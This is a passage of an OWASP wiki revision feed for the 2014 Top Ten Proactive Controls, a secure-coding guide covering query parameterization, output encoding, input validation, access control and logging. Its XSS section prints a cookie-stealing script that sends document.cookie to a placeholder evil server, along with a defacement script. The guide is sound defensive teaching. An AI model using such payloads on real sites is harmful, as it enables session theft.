Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/O-Saft&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet&lt;br /&gt;
* https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/Threat_Modeling_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Additional References ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Top Ten Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Mobile Security Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Secure Coding Practices - Quick Reference Guide]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Cornucopia]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172312</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172312"/>
				<updated>2014-04-10T19:30:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to Cross Site Scripting. Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_Encoder_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_EnDe&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_JSON_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_EJSF_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_PHPRBAC_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/O-Saft&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
